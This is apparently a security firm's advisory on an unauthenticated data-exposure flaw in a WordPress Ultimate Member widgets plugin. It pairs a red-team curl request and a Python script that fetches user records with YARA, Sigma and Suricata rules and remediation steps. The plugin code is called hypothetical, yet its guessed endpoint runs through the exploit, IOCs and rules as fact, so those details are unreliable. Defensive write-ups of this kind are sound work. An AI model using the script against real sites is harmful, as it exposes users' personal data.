CVE-2025-66116

Executive Summary

CVE-2025-66116 is a critical information disclosure vulnerability affecting the WordPress plugin Ultimate Member Widgets for Elementor by UserElements, up to version 2.3. The flaw allows an unauthenticated attacker to retrieve embedded sensitive data from the application, such as user metadata or private fields, by exploiting the plugin's insertion of sensitive information into sent data. This is a classic CWE-201 (Insertion of Sensitive Information Into Sent Data) issue, where the plugin inadvertently includes sensitive data in HTTP responses or API calls without proper authorization checks.

The vulnerability has a CVSS score of 7.5 (High), with a vector indicating network-based, low-complexity exploitation requiring no privileges or user interaction. The EPSS score is 0.0%, suggesting low current exploitation activity, but the lack of a patch makes this a significant risk for all sites using the plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Since no patch is available, users must consider removing or disabling the plugin immediately. The absence of OSV or GitHub advisory data indicates limited public disclosure, but the risk remains high due to the ease of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated access.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Sensitive data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: High. The vulnerability is trivial to exploit and exposes sensitive user data, making it a prime target for reconnaissance and credential harvesting.

Deep Dive & Mechanics

The vulnerability resides in the ultimate-member-widgets-for-elementor plugin, which extends Elementor with widgets for the Ultimate Member membership plugin. The plugin fails to sanitize or restrict the data sent in AJAX responses or REST API endpoints, leading to the inclusion of sensitive fields such as user email, phone numbers, private notes, or custom metadata.

Root Cause: The plugin uses functions like wp_send_json() or wp_send_json_success() to return user data without verifying the requesting user's permissions. For example, a widget that displays user profiles might expose all user meta fields, including those marked as private.

Attack Vector: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=um_widget_get_user_data&user_id=X) to retrieve sensitive data for any user ID.

Impact: Exposure of Personally Identifiable Information (PII), authentication tokens, or internal application data, which can be used for further attacks like social engineering or account takeover.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (hypothetical):

add_action('wp_ajax_nopriv_um_widget_get_user_data', 'um_widget_get_user_data');
function um_widget_get_user_data() {
    $user_id = intval($_GET['user_id']);
    $user_data = get_userdata($user_id);
    // Exposes all meta without permission check
    wp_send_json_success($user_data->all_meta);
}

Patched Code (hypothetical):

add_action('wp_ajax_nopriv_um_widget_get_user_data', 'um_widget_get_user_data');
function um_widget_get_user_data() {
    if (!is_user_logged_in()) {
        wp_send_json_error('Unauthorized');
        return;
    }
    $user_id = intval($_GET['user_id']);
    // Only allow access to own data or admin
    if (get_current_user_id() !== $user_id && !current_user_can('manage_options')) {
        wp_send_json_error('Forbidden');
        return;
    }
    $user_data = get_userdata($user_id);
    // Whitelist allowed fields
    $allowed_fields = array('display_name', 'user_email');
    $safe_data = array_intersect_key($user_data->all_meta, array_flip($allowed_fields));
    wp_send_json_success($safe_data);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 2.3).
• Knowledge of a valid user ID (can be enumerated via other means).

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:
   • /wp-admin/admin-ajax.php?action=um_widget_get_user_data&user_id=1
   • /wp-json/um-widget/v1/user/1
2. Send a GET request without authentication:

   curl -v "http://target.com/wp-admin/admin-ajax.php?action=um_widget_get_user_data&user_id=1"
   

3. Parse the JSON response for sensitive fields (e.g., user_pass, user_email, phone, billing_address).

Automation Script (Python):

import requests
import sys

target = sys.argv[1]
user_id = sys.argv[2] if len(sys.argv) > 2 else '1'
url = f"{target}/wp-admin/admin-ajax.php?action=um_widget_get_user_data&user_id={user_id}"
response = requests.get(url)
print(response.json())

Blue Team (Defensive)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions related to um_widget or ultimate_member.
• Look for spikes in requests to user data endpoints without authentication cookies.

Mitigation:

• Immediately disable or remove the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.
• Use a plugin like "Disable REST API" to restrict unauthenticated access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=um_widget_get_user_data parameter.
  • Requests to /wp-json/um-widget/v1/ endpoints.
  • Unusual JSON responses containing user meta fields like user_pass, user_email, phone.

• File IOCs:

  • Presence of the plugin directory: /wp-content/plugins/ultimate-member-widgets-for-elementor/
  • Version file: /wp-content/plugins/ultimate-member-widgets-for-elementor/readme.txt showing version <= 2.3.

• Log IOCs:

  • Web server logs showing repeated admin-ajax.php requests with varying user_id parameters.
  • Error logs with um_widget_get_user_data function calls.

Detection Engineering

YARA Rule

rule CVE_2025_66116_WordPress_Plugin_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2025-66116 in Ultimate Member Widgets for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66116"
    strings:
        $ajax_action = "um_widget_get_user_data"
        $rest_path = "/um-widget/v1/"
        $sensitive_field = /"user_pass"|"user_email"|"phone"|"billing"/
    condition:
        any of ($ajax_action, $rest_path) and $sensitive_field
}

Sigma Rule

title: CVE-2025-66116 - Ultimate Member Widgets for Elementor Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to vulnerable AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'action=um_widget_get_user_data'
            - '/um-widget/v1/'
    condition: selection
falsepositives:
    - Legitimate admin requests (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66116 - Ultimate Member Widgets for Elementor Info Disclosure"; flow:to_server; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=um_widget_get_user_data"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete ultimate-member-widgets-for-elementor from the WordPress admin panel.
2. Audit user data – Check for any exposed sensitive information in logs or database backups.
3. Rotate credentials – Force password resets for all users if any credentials were exposed.

Long-term Fixes:

• Monitor the plugin's official page for a security patch. If none is released, consider switching to an alternative plugin.
• Implement a Content Security Policy (CSP) to restrict data exfiltration.
• Use a WordPress security plugin (e.g., Wordfence) to block malicious requests.

Workaround (if plugin must remain active):

• Add a custom function to functions.php to restrict access:

  add_action('wp_ajax_nopriv_um_widget_get_user_data', function() {
      wp_send_json_error('Unauthorized');
  }, 1);
  

Valters IT
Securing Digital Frontiers